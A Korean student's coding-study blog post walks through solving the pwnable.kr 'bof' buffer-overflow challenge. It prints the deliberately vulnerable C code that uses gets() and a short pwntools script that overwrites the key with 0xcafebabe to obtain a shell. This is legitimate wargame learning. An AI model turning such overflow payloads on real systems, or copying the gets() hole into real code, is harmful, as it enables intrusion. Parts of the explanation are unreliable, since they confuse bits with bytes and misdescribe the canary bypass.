모각코(코딩스터디)

2027-02-07 동계모각코 5차회고

mincom1224 2026. 1. 30. 06:35

오늘은 pwnable.kr사이트에 있는 문제들을 도장깨기하는데 내가 알아야할 내용들이 있어 정리하려 이 글을 쓴다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                setregid(getegid(), getegid());
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

 

위는 내가 푼 워게임의 코드이다.

 

 

사실 귀찮아서 블로그를 긁어왔다(출처:https://msh1307.tistory.com/77)

여기 코드를 보면 ebp-0x2c만큼 공간을 내고 ebp+0x8만큼 0xcafebabe를 탐색한다

그럼 우리의 목표는 ebp-0x2c와 ebp-0x8사이에 있는 공간을 넘어서 0xcafebabe를 붙히면 성공하는 문제이다.

 

자 그럼 함수호출규약을 따라 보면 ebp+0x8에 key값이 있다는 걸 알수있다. 그럼 우리는 ebp+0x8넘어에 있는 값을 뒤에 있는 값이 key값인것을 알수있다. 그럼 (쓰레기값??bit)+(0xcafebabe)을 할수 있게 짜보자

그럼 공간을 몇비트가 필요할까 이건 ebp값을 보면 쉽다 첫줄에 push ebp를 넣었으니까 ebp를 기준으로 빼고 더하며 스택을 쌓아보면 된다. ebp-0x2c부터 ebp+0x8사이 공간값을 계산해보면 52bit공간이 나오게 된다. 그럼 이를 통해 페이로드를 작성해보자!

from pwn import *;
r = remote('pwnable.kr',2222)
answer = b'A'*52
answer += p32(0xcafebabe)
r.sendline(answer)
r.interactive()

이렇게 작성하면 쉘을 얻게되어 flag에 접근할수 있는 권한이 생겼다.

근데 이부분에 카나리 부분또한 존재한다.하지만 왜 나는 더 하지않았을까?

애초에 어셈블리코드 흐름자체에는 카나리보안기법이 적용되어 있다. 하지만 카나리를 점검하는 과정 <+78>이 우리가 위코드에서본 /bin/sh를 얻는것보다 더 느리기 때문에 먼저 쉘을 취득하는 방향으로 어셈블리의 흐름을 바꾸었다. RET값을 덮었으니 뒤에 코드는 안봐도 된다. 이상으로 오늘 BOF문제를 해결하였다. ebp는 관례적으로 많이 쓰는 레지스터이니 이를 통해 쭉 내려가다 보면 사이즈를 금방 특정할수 있게 될것이다.

틀린 부분이 있다면 댓글로 제보 부탁드려요~